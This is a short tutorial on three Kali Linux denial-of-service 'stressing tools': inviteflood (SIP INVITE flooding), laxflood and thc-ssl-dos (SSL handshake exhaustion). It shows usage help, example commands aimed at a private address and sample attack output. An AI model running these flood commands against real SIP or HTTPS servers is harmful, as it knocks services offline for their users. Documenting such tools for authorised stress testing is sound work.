

# Stressing Tools

Stressing tools are used to create DoS attacks or to create the stress test for different applications so as take appropriate measures for the future.

## Inviteflood

Inviteflood is a SIP/SDP INVITE message flooding over UDP/IP. It executes on a variety of Linux distributions. It carries out DoS (Denial of Service) attacks against SIP devices by sending multiple INVITE requests.

To open Inviteflood, first open the terminal and type “**inviteflood –parameters**”

For help, you can use “**inviteflood –h**”

```
root@kali:~# inviteflood -h
inviteflood - Version 2.0
                June 09, 2006
Usage:
Mandatory -
    interface (e.g. eth0)
    target user (e.g. "" or john.doe or 5000 or "1+210-555-1212")
    target domain (e.g. enterprise.com or an IPv4 address)
    IPv4 addr of flood target (ddd.ddd.ddd.ddd)
    flood stage (i.e. number of packets)
Optional -
    -a flood tool "From:" alias (e.g. jane.doe)
    -i IPv4 source IP address [default is IP address of interface]
    -S srcPort (0 - 65535) [default is well-known discard port 9]
    -D destPort (0 - 65535) [default is well-known SIP port 5060]
    -l lineString line used by SNOM [default is blank]
    -s sleep time btwn INVITE msgs (usec)
    -h help - print this usage
    -v verbose output mode
```

Next, you can use the following command –

```
inviteflood eth0 target_extension target_domain target_ip number_of_packets
```

Where,

- **target\_extension** is 2000
- **target\_domain** is 192.168.x.x
- **target\_ip** is 192.168.x.x
- **number\_of\_packets** is 1
- **-a** is alias of SIP account

```

root@kali:~# inviteflood eth0 2000 192.168.1.1 192.168.1.1 9 1 -a ""
inviteflood - Version 2.0
             June 09, 2006

source IPv4 addr:port = 192.168.1.1:9
dest   IPv4 addr:port = 192.168.1.1:5060
targeted UA           = 2000@192.168.1.1

Flood User Alias: ""

Flooding destination with 1 packets
sent: 1

```

## laxflood

laxflood is a VoIP DoS tool. To open it, type “**laxflood sourcename destinationname numpackets**” in the terminal.

To know how to use, type “**laxflood -h**”

```

root@kali:~# laxflood -h
usage: laxflood s sourcename destinationname numpackets

```

## thc-ssl-dos

THC-SSL-DOS is a tool to verify the performance of SSL. Establishing a secure SSL connection requires 15x more processing power on the server than on the client. THCSSL-DOS exploits this asymmetric property by overloading the server and knocking it off the Internet.

Following is the command –

```
thc-ssl-dos victimIP httpsport -accept
```

In this example, it will be –

```
thc-ssl-dos 192.168.1.1 443 -accept
```

Its output would be as follows –

root@kali: ~

File Edit View Search Terminal Help

```
root@kali:~# thc-ssl-dos 192.168.1.1 443 --accept
```



<http://www.thc.org>

Twitter @hackerschoice

Greetingz: the french underground

Waiting for script kiddies to piss off.....

Greetingz: the french underground

Waiting for script kiddies to piss off.....

The force is with those who read the source...

Handshakes 0 [0.00 h/s], 1 Conn, 0 Err

Handshakes 0 [0.00 h/s], 10 Conn, 0 Err

SSL: error:00000000:lib(0):func(0):reason(0)

SSL: error:00000000:lib(0):func(0):reason(0)

Handshakes 2 [1.86 h/s], 132 Conn, 2 Err

SSL: error:00000000:lib(0):func(0):reason(0)

SSL: error:00000000:lib(0):func(0):reason(0)

SSL: error:00000000:lib(0):func(0):reason(0)

SSL: error:00000000:lib(0):func(0):reason(0)

Handshakes 6 [4.14 h/s], 132 Conn, 6 Err

SSL: error:00000000:lib(0):func(0):reason(0)

SSL: error:00000000:lib(0):func(0):reason(0)

SSL: error:00000000:lib(0):func(0):reason(0)

SSL: error:00000000:lib(0):func(0):reason(0)

Handshakes 10 [4.14 h/s], 132 Conn, 10 Err

SSL: error:00000000:lib(0):func(0):reason(0)

SSL: error:00000000:lib(0):func(0):reason(0)